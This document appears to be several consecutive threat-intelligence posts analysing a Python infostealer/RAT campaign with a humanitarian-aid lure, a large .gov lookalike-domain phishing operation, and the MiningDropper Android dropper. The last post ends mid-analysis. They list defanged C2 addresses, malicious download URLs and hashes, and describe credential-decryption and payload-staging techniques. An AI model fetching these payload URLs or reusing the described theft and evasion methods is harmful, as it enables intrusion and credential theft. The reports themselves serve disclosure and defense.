• The payload is obfuscated using PyArmor and hosted on GitHub Releases, a deliberate combination to evade static detection and bypass network-level security controls.
• During analysis, the implant was observed collecting browser credentials, session cookies, keystrokes, clipboard data, screenshots, Telegram session data, and sensitive files from the victim's machine.
• Remote desktop access is established silently using RustDesk or AnyDesk, giving the attacker persistent interactive access to the victim's machine with no visible window.
• Persistence is achieved through a Windows Scheduled Task that survives system reboots, ensuring the implant remains continuously active in the background.
• The threat actor behind this campaign has not been conclusively attributed. The campaign uses a surveillance-first, PE-less Python architecture and custom C2 infrastructure, consistent with a targeted espionage operation.

Technical Analysis

This section provides a detailed walkthrough of the attack chain, from initial delivery to payload execution and data collection, based on static and dynamic analysis of the identified samples.

Stage 1: Malicious LNK File Delivery

The infection begins with a Windows shortcut file delivered to the target.

SHA-256

8a100cbdf79231e70cee2364ebd9a4433fda6b4de4929d705f26f7b68d6aeb79

The LNK file is significantly larger than a typical Windows shortcut, as it contains self-obfuscated Unicode content embedded within its body. PowerShell reads this content from a specific offset, decodes it, and executes it in memory. This is a deliberate anti-sandbox technique, as the malware will not execute if the original file is absent from disk, making it appear clean to automated scanning tools.

Stage 2: Decoy Lure Delivery

Upon execution, the malware downloads a Russian-language humanitarian aid request form ("O predostavlenii gumanitarnoy pomoshchi") from the C2 server, saves it to %TEMP%\open_doc, and displays it to the victim. The lure of both the RAR archive and the LNK file reference humanitarian aid, reinforcing the lure's credibility.

Lure PDF URL

hxxp://159.198.41[.]140/static/builder/lnk_uploads/invo.pdf

Saved To

%TEMP%\open_doc

While the victim reads the document, the real installation runs silently in the background. A second variant involving a survey link (hxxp[:]//159.198.41.140/test/index.php?r=survey/index&sid=936926&newtest=Y&lang=ru%22) has also been observed.

Stage 3: Python Environment Bootstrap

The malware creates a fully self-contained Python environment inside the user's %appdata% folder, requiring no administrator privileges.

Installation Path

%APPDATA%\WindowsHelper

`The installation directory is named WindowsHelper to mimic a legitimate Windows system component. The malware correctly handles a known technical requirement for Python's embedded distribution (patching the ._pth file to enable pip), a detail that reflects genuine developer skill. The following Python libraries are installed, each enabling a specific capability:

Stage 4: Payload Download and Persistence

The main payload is downloaded from a dedicated GitHub account. Storing it in GitHub Releases rather than the repository code is a deliberate evasion choice, as release artifacts receive less scrutiny from automated scanners and updates can be pushed silently with no commit history. The same account also hosts clean, legitimate files, including the Python embedded runtime and pip installer, making the entire download chain appear as normal GitHub traffic.

Beyond the malicious payload, the same GitHub account also hosts the Python embedded runtime (python-3.12.10-embed-amd64.zip) and the pip installer (get-pip.py) as separate release tags. These are clean, legitimate files. Hosting them on the same repository allows the attacker to download and bootstrap the entire Python environment from a single trusted source, making the full installation chain appear as normal GitHub traffic to network monitoring tools.

The attacker's GitHub Release page shows frequent republishing of data.zip, with its sha256 hash changing across versions, confirming the threat actor remains active and is continuously updating the campaign payload.

Persistence

Two silent VBScript launchers, run.vbs and launch_module.vbs, invoke the payload through pythonw.exe with no visible window.

A Windows Scheduled Task named “WindowsHelper” is registered to run at a short recurring interval, ensuring the implant persists across reboots and remains continuously active in the background.

Stage 5: Active Payload Capabilities

The main payload, module.pyw, is protected with PyArmor v9.2 Pro, a commercial obfuscation tool that converts Python bytecode into a format that resists static analysis and decompilation. Analysis of the disassembled bytecode revealed the following active capabilities:

Browser Credential and Cookie Collection

The implant collects stored passwords and session cookies from all major Chromium-based browsers, including Firefox. For Chromium browsers, it extracts the AES-GCM master key from the Local State file and uses it to decrypt stored credentials. It handles both legacy DPAPI-based decryption and newer Chrome encryption schemes (v10, v11, and v20).

• Target browsers: Chrome, Edge, Brave, Opera, Yandex Browser, Firefox
• Functions identified in bytecode: get_master_key, decrypt_chromium_data, extract_chromium_passwords, collect_and_send_cookies, extract_login_data, extract_firefox_passwords

Keylogging

Keystrokes are captured continuously via the keyboard library, stored in keystrokes_log.txt, and periodically uploaded to the C2 server.

Clipboard Monitoring

The malware monitors clipboard contents in real time using the pyperclip library. Any text copied by the victim, including passwords, tokens, and other sensitive content.

Screenshot Capture

The mss library captures continuous desktop screenshots, which are archived as ZIP files and uploaded periodically. Old archives are automatically cleaned up to avoid excessive disk usage.

File Collection

The implant recursively scans user directories, skipping system folders and low-value file types, to collect documents, configuration files, and credential stores.

This selective filtering is designed to identify high-value files, including documents, configuration files, source code, and credential stores on the Desktop, in Documents, and similar user locations.

A SQLite database inventory_state.db tracks scanned files to avoid re-uploading unchanged content. Files are also scanned for 64-character hexadecimal strings consistent with cryptocurrency private keys.

Telegram Session Collection

The tdata session folder is extracted and uploaded, giving the attacker full access to the victim's Telegram account without requiring a password.

Remote Access via RustDesk and AnyDesk

Static analysis of the payload reveals the capability to silently download and install RustDesk and AnyDesk. RustDesk, signed by Open Source Developer Huabing Zhou, is a legitimate remote desktop tool that is being abused here to blend in with normal software. The code is designed to hide the application window from the victim and to send the connection credentials back to the C2 server, potentially giving the attacker persistent remote desktop access.

RustDesk download source

hxxps://github.com/rustdesk/rustdesk/releases/download/1.4.4/rustdesk-1.4.4-x86_64.exe

Command and Control Infrastructure

All collected data is transmitted to a single attacker-controlled server. The server hosts a custom-built login panel (Login - Dashboard) that the attacker can use to access all collected data, monitor active implants, and initiate remote desktop sessions.

C2 Server

hxxp://159.198.41[.]140

Server Stack

nginx/1.24.0 on Ubuntu Linux, Flask 3.1.3 backend, Python 3.12.3

Hosting Provider

Namecheap, Inc. (web-hosting.com VPS) - ASN 22612, Atlanta, GA, USA

Upload Endpoint

/upload

Tunnel Endpoint

/tunnel (RustDesk proxy)

User-Agent Spoofed

Mozilla/5.0 (Windows NT 10.0; Win64; x64) ... Chrome/143.0.0.0 ... Edg/143.0.0.0

The C2 server was confirmed live and serving the attacker's login panel as of May 2026. The use of a commercial VPS provider with low-friction provisioning reflects a common pattern among threat actors seeking to quickly deploy and replace infrastructure.

Attribution:

The intended targets of this campaign appear to be Russian-speaking individuals, as evidenced by the Russian-language lure content referencing humanitarian aid. The use of a humanitarian aid application form as a decoy suggests the targets may include individuals or organizations involved in aid distribution, civil administration, or related government functions.

Conclusion

This campaign represents a well-constructed, technically capable cyberespionage operation. The attacker combines a convincing Russian-language humanitarian aid lure with a multi-stage infection chain that silently deploys a full-featured surveillance platform on victim machines.

The Python implant goes beyond credential collection. It enables the attacker to monitor every action a victim takes, collect active browser sessions, capture communications, and maintain live remote desktop access.

The use of PyArmor v9.2 Pro for payload obfuscation, GitHub Releases for payload hosting, and a custom Flask C2 panel demonstrates a technically skilled and operationally disciplined threat actor.

The campaign is active and ongoing. The Russian-language lure content and humanitarian aid theme point to Russian-speaking individuals as the intended target audience.

The use of multiple lure types, particularly humanitarian ones, indicates active development and adaptation. Organizations and individuals should treat this as an active threat and apply the recommendations in this report.

Recommendations

• Treat unsolicited files received through email or messaging platforms with caution, especially compressed archives and shortcut files. Verify the sender through a separate trusted channel before opening any attachment.
• Enable file extension visibility in Windows to prevent files from being disguised using misleading names or double extensions.
• Regularly audit the Windows Task Scheduler for unexpected or newly created tasks, particularly those scheduled to run at short, recurring intervals without a known business justification.
• Monitor endpoint activity for the creation of self-contained scripting environments in user-writable directories, as this is a common technique for executing malicious code without administrative privileges.
• Block outbound network traffic to known malicious infrastructure at the perimeter and alert on downloads from newly registered or low-reputation hosting accounts on code-sharing platforms.
• Monitor for the silent installation of remote desktop tools by non-administrative processes, as legitimate software abused for remote access is a growing attacker technique that can be difficult to detect without process-level visibility.
• Deploy endpoint detection rules targeting obfuscated or packed script files appearing in non-standard user directories, as commercially packed payloads are increasingly used to evade static analysis.
• Ensure security teams have visibility into scheduled task creation, scripting interpreter activity, and outbound HTTP connections from user-space processes, as these are the primary indicators of this class of threat.

MITRE ATT&CK TTPs

Tactic (Tactic ID)	Technique (Technique ID)	Description
Initial Access (TA0001)	Phishing: Spearphishing Attachment (T1566.001)	Malicious LNK file inside a RAR archive, delivered as a Russian-language humanitarian aid
Execution (TA0002)	User Execution: Malicious File (T1204.002)	The victim must open the LNK file to trigger the infection chain
Execution (TA0002)	Command and Scripting Interpreter: PowerShell (T1059.001)	PowerShell reads content from a specific offset within the LNK file and executes the obfuscated payload
Execution (TA0002)	Command and Scripting Interpreter: VBScript (T1059.005)	run.vbs and launch_module.vbs silently invokes the Python payload with no visible window
Execution (TA0002)	Command and Scripting Interpreter: Python (T1059.006)	Core surveillance implant written in Python, executed via windowless pythonw.exe
Persistence (TA0003)	Scheduled Task/Job: Scheduled Task (T1053.005)	WindowsHelper scheduled task fires every 5 minutes indefinitely and survives system reboots.
Defense Evasion (TA0005)	Obfuscated Files or Information: Software Packing (T1027.002)	Python payload packed with PyArmor v9.2 Pro to resist static analysis and decompilation
Defense Evasion (TA0005)	Masquerading: Match Legitimate Name or Location (T1036.005)	WindowsHelper directory name mimics a legitimate Windows system component
Defense Evasion (TA0005)	Ingress Tool Transfer (T1105)	Payload (data.zip) downloaded at runtime from GitHub Releases, abusing trusted infrastructure.
Credential Access (TA0006)	Credentials from Password Stores: Credentials from Web Browsers (T1555.003)	Collects stored passwords and cookies from Chrome, Edge, Brave, Opera, Yandex Browser, and Firefox
Credential Access (TA0006)	Steal Web Session Cookie (T1539)	Session cookies collected
Credential Access (TA0006)	Unsecured Credentials: Credentials in Files (T1552.001)	Scans for files containing 64-character hex strings consistent with private keys
Collection (TA0009)	Input Capture: Keylogging (T1056.001)	The keyboard library captures all keystrokes continuously and stores them for upload.
Collection (TA0009)	Clipboard Data (T1115)	pyperclip monitors and collects clipboard contents in real time
Collection (TA0009)	Screen Capture (T1113)	mss library takes continuous desktop screenshots and archives
Collection (TA0009)	Data from Local System (T1005)	A selective recursive scan collects documents and configuration files from user directories.
Command and Control (TA0011)	Application Layer Protocol: Web Protocols (T1071.001)	HTTP used to upload all collected data to the C2 server at 159.198.41[.]140
Lateral Movement / Persistence (TA0008)	Remote Access Software (T1219)	RustDesk and AnyDesk are silently installed for persistent interactive remote desktop access.
Exfiltration (TA0010)	Exfiltration Over C2 Channel (T1041)	All collected data was uploaded to the attacker-controlled C2 server in batched archives.

Indicators of Compromise (IOCs)

Indicator	Indicator Type	Description
8a100cbdf79231e70cee2364ebd9a4433fda6b4de4929d705f26f7b68d6aeb79	SHA-256	Initial LNK dropper
9be61c95056fd6b63565cf51a196f2615f5360c0a42e616b2a618473e9d60a21	SHA-256	Dementyeva_Anna_Vasilyevna_zayavka_gumanitarnayapomosch.rar
hxxp://159.198.41.140/static/builder/lnk_uploads/invo[.]pdf	URL	Lure PDF download
hxxp://159.198.41.140/test/index.php?r=survey/index&sid=936926&newtest=Y&lang=ru%22	URL	Survey URL
hxxps://github.com/leravalera2/dtfls/releases/download/dtfls/data.zip	URL	PyArmour packed malicious scripts
a5b782901829861a6f458db404e8ec1a99c65a48393525e681742bb2a5db454d	SHA-256	module.pyw - packed Python stealer/RAT

The post Operation HumanitarianBait: An Infostealer Campaign in Disguise appeared first on Cyble.

Executive Summary

Cyble Research and Intelligence Labs (CRIL) identified a campaign of over 16,800 malicious domains active since early 2026. It uses a potent technique — embedding government labels as subdomains to fake trust without DNS authority. We have dubbed this 'Operation TrustTrap'.

Spoofed portals resolve to infrastructure concentrated across Tencent Cloud and Alibaba Cloud APAC nodes, impersonating citizen-facing government services across several US states, with targeting extending into India, Vietnam, and UK-adjacent geographies. A distinct infrastructure cluster within the dataset we investigated carries TTPs consistent with APT36.

The campaign's sophistication isn't in technical exploits but in exploiting how humans interpret web addresses. Attackers no longer compete with security controls at the binary level but target the cognitive layer—when a user's eye scans a URL and decides whether to click.

Key Takeaways

• 16,800 unique malicious domains identified across major US states and agencies
• Domains weaponize the visual trust of "*.gov" by positioning it in non-root subdomain positions
• Three distinct obfuscation classes: subdomain injection, hyphen manipulation, and combined abuse
• Infrastructure clustering reveals overlapping IPs concentrated in Tencent Cloud ASNs (China)
• Campaign extends beyond the US to India, Vietnam, and NHS-themed lures in the UK
• Over 62% of these domains had very few detections on VirusTotal
• Registrar concentration: Gname.com Pte. Ltd. dominant; TLDs of choice were .bond, .cc, .cfd
• Infrastructure and TTPs show consistency with known government-targeting threat clusters
• A distinct APT36-consistent infrastructure cluster identified within the dataset targeting Indian Government Entities

Campaign overview

Campaign Start	Early 2026
Primary Objective	Credential and payment card harvesting via government portal impersonation
Targeted Regions	United States, India, Vietnam, UK-Adjacent
Impersonated Entities	National or State portals, toll systems, vehicle registration services
Primary Hosting	Tencent Cloud, Alibaba Cloud APAC
Primary Registrar	Gname.com Pte. Ltd., Dominet (HK) Limited, NameSilo LLC
TLD Profile	.bond (51.6%), .cc (20.3%), .cfd (13.1%), .top (3.0%), .click (2.8%)
Domain Obfuscation Techniques	Subdomain trust injection, hyphen-based semantic disruption, deliberate state-name typosquatting, and combined obfuscation with contextual amplifiers
Key Behavior	Spoofed government portals engineered to exploit visual trust in .gov-containing URLs; domains position legitimate government tokens in non-root subdomain positions to bypass blocklist and regex detection; victims directed via SMS or email lures to fake portals mimicking citizen-facing services; designed for credential and payment card harvesting
APT groups	APT36 (Transparent Tribe)

A routine sweep by Cyble Research and Intelligence Labs (CRIL) uncovered a coordinated infrastructure of over 16,800 malicious domains. These domains were designed to make fraudulent URLs appear as government websites.

Our expanded search yielded infrastructure correlation, registrar clustering, certificate metadata, and shared hosting IP analysis. The campaign grew from dozens to thousands of domains, ultimately producing a dataset of 16,800 confirmed malicious domains with a consistent construction logic.

What Are These Domains Actually Used For?

Though several domains appear to be benign at the point of registration — serving no active content — they function as a pre-provisioned operational reserve. Domains are registered in bulk and held dormant until a campaign wave is triggered. At this point, they are rapidly activated to host government-themed phishing portals designed to harvest credentials and device information.

A subset operates as staging infrastructure, dynamically loading second-stage payloads — credential exfiltration endpoints or malicious scripts — after the victim has already landed on the spoofed page. This separation between the delivery domain and the payload host is deliberate: it keeps the user-facing URL clean while the actual malicious logic lives one layer deeper, significantly narrowing the window for detection and takedown.

Targeting Geography: Who Is Being Impersonated?

Analysis of the 16,800 domains reveals a heavily US-centric campaign, with systematic coverage of virtually every US state. The targeting is not random — it skews toward states with high-volume citizen-facing digital services, particularly Department of Motor Vehicles (DMV) portals, toll payment systems, and vehicle registration renewals. These are services characterized by time-sensitive transactions, financial exchange, and strong citizen familiarity — ideal conditions for social engineering.

Top Targeted US Entities

Entity / State	Impersonation Pattern	Domain Count
Washington State	wa.gov-[id].*, www.wa.gov-[id].*	797
California	ca.gov-[id].*, california.gov-[id].*	722
Florida (FLHSMV)	flhsmv.gov-[id].*, flhsmu.gov-[id].*	722
Georgia	georgia.gov-[id].*, ga.gov-[id].*	715
Massachusetts	mass.gov-[id].*, www.mass.gov-[id].*	697
Michigan	michigan.gov-[id].*, mi.gov-[id].*	591
Arizona	az.gov-[id].*, arizona.gov-[id].*	494
Colorado	colorado.gov-[id].*, co.gov-[id].*	440
Texas	tx.gov-[id].*, txdmv.gov-[id].*	414
Oklahoma	oklahoma.gov-[id].*, ok.gov-[id].*	399

Beyond the United States: International Footprint

While the campaign is overwhelmingly US-focused, CRIL identified targeting extending into at least three additional geographies:

The variants targeting India are particularly noteworthy from a threat intelligence perspective. The pattern www.in.gov-[id].bond specifically mimics the structure of Indian government portals (which use the *.gov.in TLD convention) through subdomain injection — consistent with the analytical framework CRIL has described as trust-token positioning attacks.

Registrar Dominance

Gname.com remains dominant, but two additional registrars were identified across the extended dataset.

Dominet (HK) Limited, a Hong Kong-based registrar with a documented history of abuse across multiple phishing campaigns, accounts for 10.5% of the analyzed domains.

NameSilo, LLC accounts for a small fraction. Still, its presence alongside the primary registrars suggests the operator is diversifying provisioning sources, likely to reduce the risk of bulk registrar-level takedowns.

REGISTRAR	SHARE
Gname.com Pte. Ltd.	70.3%
Unknown / Redacted	18.4%
Dominet (HK) Limited	10.5%
NameSilo, LLC	0.8%

The concentration of infrastructure in Tencent and Alibaba Cloud ASNs is a notable attribution signal. The registrar pattern, particularly the dominance of Gname.com, a Singapore-based registrar with a significant Chinese customer base, combined with the APAC IP clustering, points to an operator or operator group with consistent access to low-cost Chinese cloud infrastructure.

Operational Lifecycle

Domains observed returning active HTTP 200 responses and live phishing content in early April 2026 were fully unresolvable by late April 2026.

This confirms the rapid rotation lifecycle the campaign relies on: domains are activated for a narrow operational window and then abandoned or rotated, deliberately narrowing the time available for detection, blocklist addition, and takedown.

Deceptive Domain Spoofing: Core Technique Breakdown

Technique 1: Subdomain Trust Injection

The most prevalent technique in the dataset involves embedding a legitimate-looking government domain token — such as mass.gov, wa.gov, or az.gov — in the leftmost subdomain position of a fraudulent domain.

The critical structural insight: in every legitimate government URL, the .gov component appears as a top-level domain directly before the rightmost domain separator. In the malicious variants, gov appears as part of a subdomain label. The DNS authority rests entirely with the registrant of the rightmost domain — not with any government entity.

Technique 2: Hyphen-Based Semantic Manipulation

A second class of obfuscation weaponizes the hyphen character to break known trust tokens into subtly altered, yet visually similar, forms. By inserting hyphens at strategic positions within familiar government identifiers, attackers construct strings that resist regex-based detection while remaining legible to the human eye.

Technique 3: Combined Obfuscation Strategy

The domains in this dataset combine both techniques: subdomain trust injection with hyphen manipulation, alongside innocuous-sounding benign word insertion. This layered approach maximizes deception while minimizing the technical footprint:

Active Phishing URL Structure

Active phishing URLs observed across the infrastructure consistently used a double-query-string parameter pattern: ?var1=xxxxx?var2=xxxxx.

This structure serves as a session-tracking mechanism, assigning unique identifiers to individual victims to monitor engagement. Its consistent use across hundreds of URLs confirms an organized, kit-driven operation rather than manually managed individual campaigns.

Path structures observed across active URLs confirm the agency-specific targeting:

• /dmv (Department of Motor Vehicles)
• /mvd (Motor Vehicle Division)
• /dol (Department of Licensing)
• /dot (Department of Transportation)
• /mve (Motor Vehicle Enforcement)
• /mvc (Motor Vehicle Commission)
• /rmv (Registry of Motor Vehicles)

Each path maps to the specific agency being impersonated by the subdomain prefix.

Some of the examples of active phishing portals are shown below (see Figure 5 and Figure 6)

APT36 Infrastructure Cluster: Attribution Signals

During infrastructure correlation, CRIL identified a distinct cluster of domains exhibiting TTPs consistent with APT36 (also tracked as Transparent Tribe, ProjectM, and TEMP.Lapis) — a Pakistan-nexus threat actor with a well-documented history of targeting Indian government entities, defense personnel, and diplomatic infrastructure.

The attribution is assessed with moderate-to-high confidence based on the convergence of the following signals across the cluster:

• Campaign overlap: Lure themes targeting Indian government portals align directly with APT36's documented preference for spoofing Indian ministry and defense-adjacent web properties
• Infrastructure reuse: Shared hosting IPs (particularly within the Tencent Cloud and Alibaba APAC ASN ranges) overlap with previously documented APT36 staging infrastructure observed in 2024–2025 campaigns
• TLD and registrar pattern: The .bond and .cc TLD preference, combined with Gname.com registration, is consistent with APT36's known operational playbook for disposable domain provisioning
• Target geography correlation: The India-specific trust injection pattern reflects the threat actor with specific knowledge of how Indian government URLs are structured (*.gov.in) and how to exploit that structure visually
• Subdomain construction logic: The random suffix characters mirror the automated domain-generation behavior documented in prior APT36 bulk registration events.

Conclusion

Operation TrustTrap is a coordinated campaign involving 16,800 malicious domains across all US states, as well as India, Vietnam, and the UK, often using UK-themed lures.

The campaign exploits visual and cognitive trust mechanisms rather than technical vulnerabilities, rendering traditional detection methods ineffective.

The shift from domain spoofing to trust-layer manipulation represents a meaningful evolution in adversarial capability that demands a corresponding evolution in defensive architecture. Pattern-driven discovery, eTLD+1-aware detection tooling, intent-based domain risk scoring, and revised security awareness programs are the pillars of an adequate response.

CRIL will track this campaign cluster and update IoCs as new infrastructure emerges. All indicators have been submitted to Cyble's threat feeds and are accessible to Vision platform customers for blocking and correlation.

Organizations, especially those in US state governments, transportation agencies, and DMV-like services, should view this campaign as an active threat and prioritize detection and review against the failure modes outlined in this report.

Recommendations

Based on the findings presented above, CRIL recommends the following actions for immediate consideration by security teams and organizations:

• Implement eTLD+1-aware URL parsing across all email security, proxy, and endpoint controls.
• Build or acquire detection rules that evaluate the structural position of government trust tokens, not merely their string presence.
• Apply domain risk scoring that weights registrar identity, TLD, hosting ASN, and domain registration age as compounding signals.
• Integrate campaign-cluster pivoting from confirmed IoCs into threat hunting workflows, using shared IP resolution as the primary pivot axis.
• Revise security awareness materials to teach structural URL interpretation, with a specific focus on identifying the root registered domain as distinct from subdomain labels.
• For organizations in the transport, DMV, and toll payment space: issue proactive user advisories advising that official payment communications will never be delivered via SMS with embedded URLs.

The need for a proactive cyberdefense stance

The current threat landscape includes a multitude of Social Engineering campaigns. Security teams need more than reactive controls to keep ahead of these.

Solutions such as Cyble Vision deliver operational intelligence that enables defenders to stay ahead of adversaries through early detection, campaign-level visibility, and infrastructure mapping.

Cyble Vision specifically empowers security teams to move beyond isolated detection, providing the strategic insight needed to anticipate threats, monitor adversary activity, and respond with precision at every stage of the attack lifecycle. Security teams can take necessary preventive action with the help of:

• Real-Time IOC Monitoring
  Enable continuous tracking of indicators tied to adversary infrastructure, before they reach end users.
• Credential Phishing Infrastructure Mapping
  Map attacker-controlled infrastructure, including fake authentication portals, dynamic exfiltration endpoints, and backend logic designed to capture credentials.
• Brand and Executive Impersonation Monitoring
  Detect domain spoofing and impersonation attempts targeting internal functions such as HR and Finance—often used to increase trust and exploit user familiarity.
• Deep and Dark Web Visibility
  Surface chatter, leaked credentials, and phishing toolkits from deep/dark web sources, offering early insight into attacker preparation and target selection.
• Global Targeting Intelligence
  Track phishing activity across global regions—including North America, EMEA, and APAC—as well as over 70 industry sectors, providing defenders with contextual understanding of targeting patterns.
• Threat Actor Attribution and TTP Correlation
  Associate infrastructure, techniques, and behavioral patterns with known threat actors, empowering security teams to prioritize response based on adversary capability and intent.

MITRE ATT&CK® Techniques

Tactic	Technique ID	Procedure
Resource Development	T1583.001 – Acquire Infrastructure: Domains	Mass registration of lookalike government domains across .bond, .cc, and .cfd TLDs via low-cost registrars.
Initial Access	T1566.002 – Phishing: Spearphishing Link	Delivery of malicious URLs via SMS (smishing) and email, leveraging government-themed lures to redirect victims to spoofed portals.
Credential Access	T1598.003 – Phishing for Information: Spearphishing Link	Credential harvesting through fake government service portals such as DMV, toll payments, and vehicle registration sites.
Defense Evasion	T1036.005 – Masquerading: Match Legitimate Name or Location	Embedding legitimate .gov-like tokens within domain structures to impersonate trusted government infrastructure.
Command and Control	T1071.001 – Application Layer Protocol: Web Protocols	Use of HTTPS with TLS certificates from low-cost issuers to make phishing and exfiltration infrastructure appear legitimate.
Resource Development	T1584.001 – Compromise Infrastructure: Domains	Use of APAC-based cloud providers (e.g., Tencent, Alibaba Cloud) to host phishing infrastructure with rapid scaling and deployment.

Indicators of Compromise (IOCs)

The IOCs have been added to this GitHub repository. Please review and integrate them into your Threat Intelligence feed to enhance protection and improve your overall security posture.

The post Operation TrustTrap: Anatomy of a Large-Scale Deceptive Domain Spoofing Campaign appeared first on Cyble.

Executive Summary

Cyble Research and Intelligence Labs (CRIL) has been monitoring a significant surge in the use of “MiningDropper”, a sophisticated Android malware delivery framework that combines cryptocurrency mining capabilities with the deployment of infostealers, Remote Access Trojans (RATs), and banking malware.

MiningDropper employs a multi-stage payload delivery architecture that combines XOR-based native obfuscation, AES-encrypted payload staging, dynamic DEX loading, and anti-emulation techniques. This layered design enables threat actors to evade static detection, delay analysis, and dynamically control the delivery of the final payload.

Our analysis indicates that MiningDropper is being actively leveraged across multiple campaigns, with a particularly notable infostealer campaign targeting Indian users, alongside a BTMOB RAT campaign affecting LATAM, Europe, and Asia.

Additionally, large-scale telemetry analysis shows widespread distribution with low detection rates, highlighting the effectiveness of its evasion techniques and the rapid reuse of its modular architecture across campaigns.

Key Takeaways

• MiningDropper is a multi-stage Android malware delivery framework that combines cryptocurrency mining activity with the deployment of additional malicious payloads.
• The recently identified MiningDropper variant leverages a trojanized version of the open-source Android application project “Lumolight”.
• Dropper implements layered obfuscation (XOR + AES) and native code execution to evade detection and hinder analysis
• Uses a state-driven payload execution, initially deploying a miner before transitioning to user-defined payloads
• Actively used in phishing campaigns impersonating RTO services, banks, telecom providers, and popular applications
• Delivers malware payloads, including infostealers and BTMOB RAT, capable of full device compromise
• Over 1,500+ samples observed, with more than 50% exhibiting low antivirus detection, indicating ongoing evasion and rapid campaign scaling

Dropper Characteristics

Category	Description
Type	Multi-stage dropper
Capabilities	Crypto mining
Infection Vector	Smishing, Social Media, and Fraudulent Websites
Initial Payload	Trojanized LumoLight application
Final Payloads	Infostealer, RAT, Banking Trojan
Obfuscation Techniques	XOR-based string obfuscation in native code, AES-encrypted asset files
Target Region	Asia, Europe, LATAM

Overview

Recently, CRIL observed a notable surge in the use of MiningDropper (also referred to as BeatBanker) as an adaptable malware delivery framework for distributing infostealers, Remote Access Trojans (RATs), and banking malware.

The threat actor employs a multi-stage payload architecture that incorporates XOR-based native-string obfuscation, AES-encrypted payload staging, and anti-emulation techniques, significantly complicating detection and analysis.

Our investigation revealed that MiningDropper is actively leveraged across multiple campaigns, with particularly notable activity observed in two primary campaign clusters:

Infostealer Campaign

This campaign primarily targets users in India by impersonating:

• Regional Transport Office (RTO) services
• Banking institutions
• Telecom providers

In October 2025, Cyble analyzed a campaign that used RTO services as a lure, during which multiple malware variants were identified, including one that used MiningDropper. In its more recent variant, MiningDropper incorporates native code along with a trojanized open-source application.

In this campaign, victims are lured to download malicious APK files via phishing websites or social media platforms, ultimately leading to the deployment of infostealer payloads designed to harvest sensitive user and financial data.

The following sites were identified as distributing MiningDropper as part of an infostealer campaign:

• hxxps://cardcpp[.]online/imobile.apk
• hxxps://hamzaansari1612-ux[.]github.io/ICICI00/imobile.apk
• hxxps://getchaiian[.]short.gy/Getchallan0176
• hxxps://raw.githubusercontent[.]com/singhsonali3021-pixel/my-apk/main/ICICI%20BANK%20CREDIT%20CARD.apk
• hxxps://cardhelp[.]live/SBICreditCard.apk
• hxxps://downloadhdfcapp[.]pythonanywhere.com/download/latest.apk
• hxxps://protectcc[.]online/imobile.apk
• hxxps://dkfootwearstore[.]shop/Jio%20Free%20Recharge.apk
• hxxps://www.icicimanagecards[.]online/iMobile%20Lite.apk

BTMOB RAT Campaign

The second campaign distributes MiningDropper via fraudulent sites targeting users across:

• Europe
• Latin America
• Asia

In this case, the dropper delivers BTMOB RAT, a full-featured Android remote access trojan. We first identified BTMOB RAT in February 2024 as a variant of the SpySolr malware, capable of credential harvesting, device takeover, real-time remote control, and facilitating financial fraud operations.

At the time of its initial discovery, the malware was distributed without a packer and was detected by multiple antivirus products. However, in recent campaigns this year, BTMOB RAT is being distributed via MiningDropper, significantly reducing its detection footprint to as few as 1–3 detections.

The following phishing sites were identified as distributing MiningDropper as part of a BTMOB RAT campaign:

• hxxps://www[.]kavoutai[.]com/signed[.]apk
• hxxps://free-secure[.]com/Free%20Secure%20-%20Annulation[.]apk
• hxxps://litter[.]catbox[.]moe/o6pxvp[.]apk
• hxxps://tv-pluto[.]vercel[.]app/PlutoTv[.]apk
• hxxps://www[.]dl[.]dropboxusercontent[.]com/scl/fi/r9d5y9ch1k7dwvw6l36rj/TecnoCasaFotosPiso[.]apk?rlkey=z6n2qvft8v3nzm66fgy6acwcx
• hxxps://googleeplaaystore[.]pages[.]dev/assets/AGENDA2026[.]apk

Over the past month, we identified more than 1,500 MiningDropper samples in the wild, highlighting the rapid proliferation and reuse of this malware framework. Detection telemetry reveals:

• A majority of samples cluster at very low detection rates, with over 50% exhibiting minimal antivirus coverage, indicating effective evasion techniques
• The largest concentration of samples (~668) shows only 3 AV detections, suggesting widespread undetected distribution

These observations underscore that MiningDropper is not merely another Android dropper, but a scalable malware-as-a-framework, enabling threat actors to efficiently deploy diverse payloads while maintaining a low detection footprint.

A detailed technical analysis is presented in the following section.

Technical Analysis

MiningDropper employs a multi-stage, modular architecture combining native code, dynamic loading, staged decryption, and configuration-driven payload delivery. Each stage progressively unpacks the next payload while minimizing static exposure and hindering detection.

For the technical analysis, we analyzed the APK “Free Secure - Annulation.apk” (58a94f889547db8b2327a62e03fb2cce3bda716278d645ee8094178ecda2e9e6), which is being distributed via a phishing site “hxxps://free-secure[.]com/Free%20Secure%20-%20Annulation.apk”.

Initial Native Stage

The threat actors appear to have trojanized the open-source Android application project “LumoLight.” The malicious activity is executed via the application subclass, which loads the native library “librequisitionerastomous.so.” This library contains XOR-obfuscated strings that are decrypted at runtime, a technique used to hinder static analysis and evade automated detection mechanisms.

After decrypting the strings from the native code, it is evident that the native library has implemented anti-emulation techniques. The application checks platform details, system architecture, and device model information to determine whether it is running on an emulator.

If an emulated or rooted environment is detected, the malware terminates its malicious execution.

The native library is also responsible for decrypting and executing the first-stage payload from the APK’s assets directory. The asset “x7bozjy2pg4ckfhn” is decrypted using a long hardcoded XOR key, producing the first-stage DEX payload.

After decrypting the first-stage payload, the native code dynamically loads the DEX file using DexClassLoader and invokes the malicious class “com.example.virusscanbypassbootstrapper.DexLoader.”

First Stage Payload

The decrypted first-stage payload acts primarily as a bootstrap loader. Its main purpose is to receive execution from the native library, decrypt the next-stage payload, and execute it. This stage contains a loadDex() method that decrypts the second-stage payload and executes it via dynamic code loading.

The first stage retrieves the encrypted second-stage file “4ozvcznaamqmioqf/sorxbqp8” from the assets folder and decrypts it using AES.

The AES key is derived from the first 16 bytes of the SHA-1 hash of the filename sorxbqp8, showing that the TA uses filename-derived key material rather than storing raw AES keys directly.

This approach slightly increases analysis effort because the decryption key must be reconstructed from the naming logic rather than extracted as a static constant.

After decryption, the first stage loads the recovered second-stage dex using Dex Class Loading.

Second Stage Payload

The second-stage payload is the most visible portion of the chain from the victim’s perspective. It presents a fake Google Play update interface that deceives the user into believing a legitimate update or service repair is underway.

This stage effectively serves as the social-engineering layer of the infection flow, masking the malicious installation behind a familiar Android/Google-themed update prompt.

In addition to the visual lure, the second stage loads the class com.qnez.sarcilistranscendingly.App responsible for decoding and orchestrating the remaining stages. This component decrypts the file “jajmanpongids” using AES, again deriving the key from the first 16 bytes of the SHA-1 hash of the filename plus the suffix 1.

